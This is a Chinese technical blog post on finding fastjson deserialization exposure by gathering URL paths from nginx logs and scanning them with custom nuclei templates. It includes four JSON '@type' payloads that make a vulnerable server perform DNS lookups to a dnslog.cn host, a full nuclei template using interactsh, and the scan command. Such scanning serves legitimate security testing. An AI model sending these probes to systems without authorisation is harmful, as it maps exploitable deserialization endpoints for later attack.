• 【技术分享】基于nginx流量URL探测fastjson DNS嗅探实践


    引言

    基于nginx流量URL探测fastjson DNS 嗅探, 众所周知, fastjson漏洞频出,最保险的方式是fastjson配置safemode参数来防止fastjson反序列化漏洞, 但是有的时候会有safemode参数配置错误或者忘记配置的情况,这里介绍一个通过payload扫描识别fastjson DNS 嗅探的方法。

    主要思路:

    1. 收集一下nginx的流量, 要求是 domain+ URL 路径
    2. 自定义payload,制作nuclei漏洞扫描模板
    3. 使用nuclei进行漏洞扫描,观察是否有dns嗅探行为。

    收集nginx的流量

    对于web扫描,如果只获取域名而不知有哪些接口,这样的扫描能力是有限的,这种方式属于"黑盒扫描"。 有时漏洞可能隐蔽在业务的API接口中, 因此在获取业务的具体接口的基础上进行扫描, 可以得到较好的扫描效果。 nginx日志信息中有大量的URL请求,可以收集并用于安全扫描, 这种方式可以看作"灰盒扫描"。
    操作要点:

    • 了解nginx日志字段信息
    • 了解如何获取业务的nginx流量日志
    • 通过脚本或者SQL 将nginx字段拼接为URL的形式

    制作nuclei自定义payload

    nuclei是一个开源的基于漏洞模板的扫描工具, 可以利用该工具自定义payload进行扫描。
    目标是识别fastjson 的dns嗅探接口,选取的payload如下:

    {"@type":"java.net.Inet4Address","val":"vqzdxl.dnslog.cn"} 
    {"@type":"java.net.Inet6Address","val":"vqzdxl.dnslog.cn"} 
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"vqzdxl.dnslog.cn"}} 
    {{"@type":"java.net.URL","val":"vqzdxl.dnslog.cn"}:"x"}  
    
    • 1
    • 2
    • 3
    • 4

    下面制作nuclei模板(复用fastjson其他漏洞的模板,只关注请求即可):

    
    id: fastjson-dns-detect
    
    info:
      name: Fastjson 1.2.62 - Remote Code Execution
      author: zh
      severity: critical
      description: Fastjson 1.2.62 is susceptible to a deserialization remote code execution vulnerability.
      reference:
        - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
        - https://github.com/wyzxxz/fastjson_rce_tool
      classification:
        cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
        cvss-score: 10.0
        cwe-id: CWE-77
      tags: fastjson,rce,deserialization,oast
    
    requests:
      - raw:
          - |
            POST / HTTP/1.1
            Host: {{Hostname}}
            Content-Type: application/json
    
            {
               "@type":"java.net.Inet4Address",
               "val":"{{interactsh-url}}"     
            }
    
        matchers-condition: and
        matchers:
          - type: word
            part: interactsh_protocol   # Confirms DNS Interaction
            words:
              - "dns"
    
          - type: status
            negative: true
            status:
              - 200
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    说明:

    • 上面展示的是一个payload模板的制作,如果有多个payload,可以制作不同的模板文件。
    • yaml中的id字段可以设置为不通的名称用作区分
    • dnslog地址可以使用interactsh ,也可以自己申请临时的dnslog。

    执行扫描任务

    执行下面命令进行扫描,请根据自己的情况修改命令:

    cat url-subdomain.txt | nuclei -t ./fastjson.yaml,./fastjson_1.yaml,./fastjson_2.yaml,./fastjson_3.yaml  -debug
    
    • 1

    参数解释:

    url-subdomain.txt    URL路径文件
    -t   指定nuclei模板
    -debug  开启debug模式, 看到请求
    
    • 1
    • 2
    • 3

    实践结果

    在扫描过程中,成功识别到dns嗅探的API接口。

  • 相关阅读:
    送你个低代码福利,错过要再等一年
    北大肖臻老师《区块链技术与应用》系列课程学习笔记[28]以太坊-美链
    MES管理系统解决方案实现生产信息全程追溯
    大公司为什么禁止SpringBoot项目使用Tomcat?
    基于ssm的学生综合测评管理系统047
    每天一道算法题(十)——获取和为k的子数组
    MapStruct入门使用
    深圳市关于加快培育数字创意产业集群的若干措施 (征求意见稿)
    第五章:最新版零基础学习 PYTHON 教程—Python 字符串操作指南(第十节 Python——查找字符串中所有重复的字符)
    FPGA project : IIC_wr_eeprom
  • 原文地址:https://blog.csdn.net/weixin_37682263/article/details/126021791